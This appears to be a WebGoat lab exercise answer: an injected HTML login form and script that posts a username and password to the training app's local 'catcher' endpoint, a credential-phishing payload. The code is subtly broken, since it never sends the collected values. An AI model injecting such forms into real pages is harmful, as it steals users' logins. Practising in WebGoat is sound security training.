**<form action="http://localhost/WebGoat/catcher?PROPERTY=yes &user=input2&password=input2" method="POST">
    username : <input type= "text" id="try">
    password : <input type = "text" id= "pass">
    <input type = "submit" name="submit" onclick="collect();">
</form>
<script>
function collect() {
    var input1 = document.getElementById("try").value;
    var input2 = document.getElementById("pass").value;
}
</script>**